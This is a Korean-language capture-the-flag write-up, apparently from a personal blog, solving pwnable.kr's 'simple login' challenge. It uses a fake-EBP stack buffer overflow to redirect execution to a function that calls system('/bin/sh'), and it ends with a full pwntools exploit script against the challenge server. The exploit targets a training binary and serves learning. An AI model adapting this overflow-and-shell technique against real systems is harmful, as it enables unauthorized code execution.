본문 바로가기

Wargame/pwnable.kr

[Fake EBP] simple login

1. 문제

  • login 바이너리 파일 다운로드할 수 있는 링크가 주어진다.
  • nc로 접속할 수 있는 정보가 주어진다.

2. 코드 분석

  • IDA와 gdb를 이용하여, 분석하였다.
    (본 글은 문제 푸는데, 필요한 부분만 작성하였다.)

2-1. main 함수

  • code 11줄 : 30글자를 입력받아오고 있는 것을 확인할 수 있다.
  • code 14줄 : 입력값과 v4가 Base64Decode함수의 인자값으로 넘어가며, return된 값이 v6에 저장된다.
  • code 15줄 : v6가 0xC보다 크면, "Wrong Length"가 출력되고 프로그램이 종료된다.
  • code 26줄 : auth인자값으로 v6가 넘어가고, 조건문이 true일 경우, correct함수가 실행된다.

ida로 확인한, main함수

 

2-2. Base64Decode 함수

  • 두 번째 인자로 넘어온 주소에는 입력받아온 값을 base64로 디코딩한 문자열이 저장된다.
  • return값은 입력받아온 값을 디코딩한 문자의 길이이다.

ida로 확인한, Base64Decode함수

 

2-3. auth 함수

  • code 7줄 : 최대 0xC크기인 input의 값을 v4로 복사해주는 코드이다. (main 15줄에 0xC에 대한 크기 제한이 존재한다.)
    • v4는 [ebp-8h]에 위치하는 것으로 보아, BOF 발생이 예측된다. 
  • md5한 값이 "f87cd601aa7fedca99018a8be88eda34"와 일치해야 correct함수를 실행할 수 있다.

ida로 확인한, auth함수

 

  • gdb로 확인해보면, auth함수에서 stack을 사용하는 것을 볼 수 있다.
    • 이를 통해, input에 0xC만큼 값을 넣으면 BOF취약점이 발생한다.

gdb로 확인한 auth함수의 일부 코드

 

 

2-4. correct 함수

  • 조건문이 참이면, system("/bin/sh")함수가 실행되어, 쉘을 획득할 수 있다.

ida로 확인한, correct함수
gdb로 확인한 correct함수

3. 풀이

 

  • auth함수에서 BOF취약점이 존재하지만, buf크기는 0x8이므로 SPF까지만 덮을 수 있다. (입력받을 수 있는 크기 : 0xC)

  • auth함수가 끝나고 return값이 참이 아닐 경우, 프로그램이 종료됨으로써 에필로그 코드가 연속으로 2번 실행된다.
    • auth함수 종료의 에필로그 코드와 main함수 종료의 에필로그 코드가 연속으로 2번 실행된다.
    • 연속 2번 실행되는 에필로그 코드를 통해, ebp만 조작하여도 shell획득이 가능하다.

gdb로 확인한 main함수의 일부 코드

 

  • 따라서, payload는 아래와 같이 작성할 수 있다.
     
    • 0xdeadbeef
      : correct함수에서 input의 값이 "0xdeadbeef"일 경우, system함수가 실행되기 때문에 넣어줘야 한다.

    • correct주소(0x0804940c)
      : main함수의 ret부분에서 eip에 correct주소가 들어감으로써, correct함수가 실행된다. 

    • input주소(0x811eb40)
      : EBP가 input주소를 가리키게 된다. 이를 통해, main함수의 leave부분에서 esp도 input주소를 가리키게 되고 leave명령어가 끝난 직후, ret가 실행됨으로써 correct함수를 실행할 수 있다.
      (nx가 걸려있어서 auth주소는 알 수 없으므로, bss에 위치한 input주소를 넣어줘야 한다.)

 

0xdeadbeef + correct주소(0x0804940c) + input주소(0x811eb40)

4. Exploit

from pwn import *
import base64

#p = process(b"./login")
p = remote(b"pwnable.kr", 9003)
dummy = 0xdeadbeef
correct_addr = 0x0804940c
input_addr = 0x811eb40

payload  = p32(dummy)
payload += p32(correct_addr)
payload += p32(input_addr)

p.recvuntil(b"Authenticate : ")
p.sendline(base64.b64encode(payload))

p.interactive()

 

 

'Wargame > pwnable.kr' 카테고리의 다른 글

[stack unlimited, control esp] fix  (0) 2022.08.09
[BOF + Canary leak] md5 calculator  (0) 2022.08.01
[BOF] echo1  (0) 2022.07.24